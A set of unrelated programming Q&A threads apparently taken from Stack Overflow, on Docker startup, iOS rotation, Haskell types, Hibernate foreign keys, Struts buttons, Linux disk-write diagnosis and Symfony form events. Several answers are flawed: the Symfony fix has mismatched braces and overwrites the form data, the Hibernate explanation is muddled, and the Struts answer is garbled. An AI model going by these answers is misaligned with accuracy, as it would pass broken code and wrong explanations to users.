Jun 06 12:19:07 ubuntu systemd[1]: **docker.service: Job docker.service/start failed with result 'dependency'.**

Jun 06 12:20:38 ubuntu systemd[1]: **Dependency failed for Docker Application Container Engine.**

Jun 06 12:20:38 ubuntu systemd[1]: **docker.service: Job docker.service/start failed with result 'dependency'.**

Jun 06 12:22:08 ubuntu systemd[1]: **Dependency failed for Docker Application Container Engine.**

Jun 06 12:22:08 ubuntu systemd[1]: **docker.service: Job docker.service/start failed with result 'dependency'.**

Jun 06 12:29:03 ubuntu systemd[1]: **Dependency failed for Docker Application Container Engine.**

Jun 06 12:29:03 ubuntu systemd[1]: **docker.service: Job docker.service/start failed with result 'dependency'.**

Jun 06 12:33:10 ubuntu systemd[1]: **Dependency failed for Docker Application Container Engine.**

Jun 06 12:33:10 ubuntu systemd[1]: **docker.service: Job docker.service/start failed with result 'dependency'.**

I tried to re-install docker but that did not resolve the problem. When running
apt-get install docker-ce

I obtain the above mentioned error.
Any idea how to continue?

A: For future viewers.
I had the same problem.
Solution for me:
groupadd docker
systemctl start docker.socket

It seems I accidentally deleted the docker group.
This led to docker.socket not starting which in turn is a dependency of docker.service, hence the not so helpful error you recieved.

A: Related to last comment, try this
mv /data/docker /data/docker.old
sudo systemctl start docker

Please tell me if it worked...

A: Unfortunately, I was not able to resolve the error and have setup a new server. Thank you anyway for your help!

A: try starting dockerd as below "/usr/bin/dockerd -H unix://"
you can see the error why docker is not starting.


text:
Q: How to imitate rotation from the photos app on thumbnail view I have an app that mimics the photos app in that it displays a table of thumbnails which represent an album that the user has clicked on. I'm having trouble imitating the animation of this window when rotation is occurred. For your reference the window I'm talking about is below:

I'm able to get the end result to turn out fine (ie after the animation is complete, everything works), however my rotation doesn't look as good as the photos app. The photos app actually looks like it's rotating the window and you can barely notice the photos resetting themselves. On mine, you can see the thumbnails sort of moving around  and it doesn't look as good.
Does anyone have a clue as to what the photos app is doing? Is it possible that it's speeding up the animation, or maybe blurring it in the middle so you can't see what's going on? My code is listed below:
- (UITableViewCell *) tableView:(UITableView *)tableView cellForRowAtIndexPath:(NSIndexPath *)indexPath
{
    static NSString *CellIdentifier = @"Cell";

    UITableViewCell *cell = [tableView dequeueReusableCellWithIdentifier:CellIdentifier];

    if (cell == nil)
    {
        cell = [[[UITableViewCell alloc] initWithStyle:UITableViewCellStyleDefault reuseIdentifier:CellIdentifier] autorelease];
    }
    else
    {
        for (UIButton *photoButton in [cell subviews])
        {
            [photoButton removeFromSuperview];
        }
    }

    NSInteger photosPerRow;

    if (self.interfaceOrientation == UIInterfaceOrientationPortrait)
    {
        photosPerRow = 4;
    }
    else
    {
        photosPerRow = 6;
    }

    CGRect frame = CGRectMake(4, 2, 75, 75);

    for (int i = [indexPath row] * photosPerRow; i < (([indexPath row] * photosPerRow) + photosPerRow) && i < [[self photos] count]; i++)
    {
        [[photos objectAtIndex:i] setFrame:frame];
        [cell addSubview: [photos objectAtIndex:i]];
        frame.origin.x = frame.origin.x + frame.size.width + 4;
    }

    return cell;
}

Then here is how I'm animating it in my tableview controller:
- (BOOL) shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)toInterfaceOrientation
{
    [self.tableView reloadData];
    return (toInterfaceOrientation != UIInterfaceOrientationPortraitUpsideDown);
}

UPDATE: Well, I've tried a lot. So far switched all my code to a scroll view, then tried to have the thumbnails animated as follows when a rotation occurs: fade out the thumbnail, move it to it's new location, then fade it in. Of course I only did that with UIThumbViews that needed to be moved. I coming to the conclusion that apple must be using two views in order to pull them off. One view with the old set of thumbnail views, then rotating over the new set of thumbnail views. Any ideas?

A: UPDATED: This takes two lines of code, and you have to implement the thumbnails view in a tableview, not a scrollView:
[self.tableView reloadRowsAtIndexPaths: [self.tableView indexPathsForVisibleRows] withRowAnimation:UITableViewRowAnimationFade];
[self.tableView reloadData];


text:
Q: Haskell maybe function bewilderment maybe :: b -> (a -> b) -> Maybe a -> b  -- Defined in `Data.Maybe'

From this definition of maybe, b can be any type and should be the same type as the return value of the function (a-> b)
But when i tried this in Winghci:
maybe (error "no") (head) (Just "hi")
'h'
maybe (error "no") (return) (Just "hi")
"hi"

Both works but clearly return and head has different types and yet both work with (error "no")
When I type:
:t error "no"

I get
error "no" :: a

Does this mean error "no" can be any type ?
Why so ?

A: > :t error
error :: [Char] -> a

error takes a String so you can inform the user what problem was.
As it returning a, it's because errors can happen anywhere in a program, so if it is "any type" you can set an error anywhere you need to.
For example:
the function head has the signature
head :: [a] -> a

it obviously returns the head of a list.
but what happens if we give to it an empty list.
Prelude> head ([] :: [Int])
*** Exception: Prelude.head: empty list

head was supposed to return a type Int because we forced it in the empty list
Prelude> :t head ([] :: [Int])
head ([] :: [Int]) :: Int

So what can we return that is type Int (for this particular case) and shows the user that something went wrong?
error "empty list"

but we need it to be Int, so error, as being a, can be anything, such as Int
The source code for head is like this:
head :: [a] -> a
head (x:_) = x
head []    = error "empty list"


text:
Q: Foreign Key constraint on a @OneToMany relationship I want to make sure I understand what I am doing in my DB representation & with hibernate.
My project management tool lets my user create a Project that is composed of Phase(s).
I do not wish to create a link table and have proceeded like such in my entities:
My ProjectEntity:
@OneToMany(mappedBy = "id")
private Set<PhaseEntity> phases = new HashSet<>(0);

and my PhaseEntity:
@NotNull
@ManyToOne(targetEntity = ProjectEntity.class)
private ProjectEntity project;

After filling up my PhaseEntity and saving it via my DAO
phaseDao.save(phaseEntity);
I get the following error:

ERROR: insert or update on table "phase" violates foreign key constraint "fk8x1x98c4hq4ps0d30y6nxe90u"
    Detail: Key (phase_id)=(1820) is not present in table "project".

The way I see it, pushing a phase containing a specific ProjectEntity to my database should create 1 entry and update another one, the first should be my phase entry, and the latter should be an update to a project by adding a phase to its Set.
Do I have to explicitly save my phase in my project table?
Do yo see any flaws in my reasoning?

A: Just sharing the knowledge!
"a Project that is composed of Phase(s)"
So , if you want to insert a phase in "Phase" table, you need to have a role in Project table which has the same 'class' column value as "class" column value of newly inserted row in Phase table.
A foreign key is a column (or columns) that references a column (most often the primary key) of another table. The purpose of the foreign key is to ensure referential integrity of the data. In other words, only values that are supposed to appear in the database are permitted.
We have two tables, a Project table that includes all projects, and a Phase table that includes all phases. A Project that is composed of Phase(s). To enforce this logic, we place a foreign key on the Phase table and have it reference the primary key of the Project table. This way, we can ensure that all phases in the Phase table are related to a project in the Phase table. In other words, the Phases table cannot contain information on a project that is not in the Project table.


text:
Q: add an icon under the submit button hello guys i'm using bootstrap and struts 2
and I would like to add icon under the submit button.
my code is
<s:submit type="button" cssClass="btn btn-primary" method="editer" key="Modifier" theme="simple"></s:submit>

it show me the icon in front of the submit button
how can i do it ?

A: Add a
 tag in front of the icon as follows:
<input type="button" class="btn btn-primary" method="editer" key="Modifier" theme="simple">
</input>
---------------------------------------------------------------------------------------here ^

Demo

A: use theme='simple' for Bootstrap.
 <s:submit type="button" cssClass="btn btn-primary" method="editer" key="Modifier" >Submit</s:submit>


text:
Q: I have high io stat. High writes. But what files are being written? avg-cpu:  %user   %nice %system %iowait  %steal   %idle
          11.50    0.02    5.38    0.07    0.00   83.04

Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util
sdc               0.01    89.92    0.26   41.59     3.36   457.19    22.01     0.23    5.60   0.09   0.38
sdb               0.10    15.59    0.40   14.55     8.96   120.57    17.33     0.04    2.91   0.07   0.11
sda               0.13    45.37    0.96    8.09    20.06   213.56    51.63     0.02    2.64   0.16   0.14
sde               0.01    31.83    0.09   11.34     0.94   103.56    18.29     0.04    3.52   0.14   0.16
sdd               0.01    48.01    0.13   19.81     1.58   202.16    20.44     0.11    5.62   0.13   0.25

Is there a way to know what files are being written? 457 kB/s
Also this other linux machine have this same problem.
avg-cpu:  %user   %nice %system %iowait  %steal   %idle
          20.50    0.00   46.48   20.74    0.00   12.28

Device:         rrqm/s   wrqm/s     r/s     w/s    rkB/s    wkB/s avgrq-sz avgqu-sz   await  svctm  %util
sda               0.17    11.61    0.99    3.51    36.65    59.43    42.70     0.10   23.20   3.84   1.73
sdb               0.55   224.18   24.30   97.45   246.48  1287.12    25.19     3.96   32.53   7.88  95.91
sdd               0.53   226.75   25.56   90.96   283.50  1271.69    26.69     3.43   29.44   8.22  95.75
sdc               0.00     1.76    0.28    0.06     4.73     7.26    70.41     0.00   12.00   2.12   0.07
dm-0              0.00     0.00    1.11   14.77    36.41    58.92    12.01     1.00   62.86   1.09   1.74
dm-1              0.00     0.00    0.04    0.12     0.17     0.49     8.00     0.00   21.79   2.47   0.04
dm-2              0.00     0.00    0.01    0.00     0.05     0.01     8.50     0.00    7.90   2.08   0.00

1200 write request per second for a server that host nothing

A: It seems there is no tools to find out I/O throughput per file other than within process using the file. But there are ways to find out process I/O throughput.
iotop - It is a top/iftop like utility that show process I/O throughput.
After pin pointing which process is having heavy I/O, use following to find out what file is being used
lsof -c <process name>

That should narrow down the scope and help pin point the source.

A: You can use inotifywait from inotify-tools to find out exactly which file is being written to. This won't tell you how much data is being written, but it will at least tell you what files are being written to as it happens.
As an example, this command will print the file name as soon as any are created, modified, or deleted in /tmp:
$ sudo inotifywait -e modify -e attrib -e move -e create -e delete -m -r /tmp
Setting up watches.  Beware: since -r was given, this may take a while!
Watches established.
/tmp/ CREATE test
/tmp/ MODIFY test

Unfortunately you will need to guess which directory contains the files being written to. This fails if you try to use it on the root directory, though apparently that can be overridden:
$ sudo inotifywait -e modify -e attrib -e move -e create -e delete -m -r /
Setting up watches.  Beware: since -r was given, this may take a while!
Failed to watch /; upper limit on inotify watches reached!
Please increase the amount of inotify watches allowed per user via `/proc/sys/fs/inotify/max_user_watches'.

A: Use systemtap to monitor each write/pwrite syscall. You can do some accounting and you will see which file/fd gets the most bytes.

A: csysdig.
https://github.com/draios/sysdig/wiki/Csysdig-Overview
They even have a link to a video demo-ing how to do it.
https://www.youtube.com/watch?v=UJ4wVrbP-Q8

A: Well, you could try the following commands which worked for me in RHEL6:

*

*Whatever device you see in "iostat" output performing more I/O, use it with fuser command (from the psmisc package) as follows:
fuser -uvm device

*You will get a list of processes with the user name causing more I/O. Select those PIDS and use it in the lsof command as follows:
lsof -p PID | more

*You will get a list of files/directories along with the user performing maximum I/O.


text:
Q: Symfony use Form Event to change data before it submits I have the Form Event FormEvents::PRE_SUBMIT in place
namespace AppBundle\Form\EventListener;

use Doctrine\ORM\EntityManager;
use Symfony\Component\Form\FormEvent;
use Symfony\Component\Form\FormEvents;
use Symfony\Component\EventDispatcher\EventSubscriberInterface;
use Symfony\Component\Security\Core\Authorization\AuthorizationChecker;

class AddProfileFieldSubscriber implements EventSubscriberInterface
{
    protected $authorizationChecker;

    protected $em;

    function __construct(AuthorizationChecker $authorizationChecker, EntityManager $em)
    {
        $this->authorizationChecker = $authorizationChecker;
        $this->em = $em;
    }

    public static function getSubscribedEvents()
    {
        // Tells the dispatcher that you want to listen on the form.pre_set_data
        // event and that the preSetData method should be called.
        return array(
            FormEvents::PRE_SUBMIT => 'onPreSubmit'
        );
    }

    /**
     * @param FormEvent $event
     */
    public function onPreSubmit(FormEvent $event){

        $interestTags = $event->getData();
        $interestTags = $interestTags['interest'];
        foreach($interestTags as $key => $interestTag){
                $interestTags[$key] = "55";
            }
        }
}

Inside the function onPreSubmit if i dump the $event I can see the following information.

All I want to do is change the value of key where you see the red arrow being pointed, so that moving on the rest of the process takes the new value rather than the old one.
The approach i used seems to change the value alright but as soon as i move out of the foreach loop the old value remains, what do I need to do so that qqq is replaced by for example 444 for rest of the process?

A: In your onPreSubmit function, you need to set the events data with the array you modified:
public function onPreSubmit(FormEvent $event){

        $interestTags = $event->getData();
        $interestTags = $interestTags['interest'];
        foreach($interestTags as $key => $interestTag){
                $interestTags[$key] = "55";
            }
        }
        $event->setData($interestTags);
}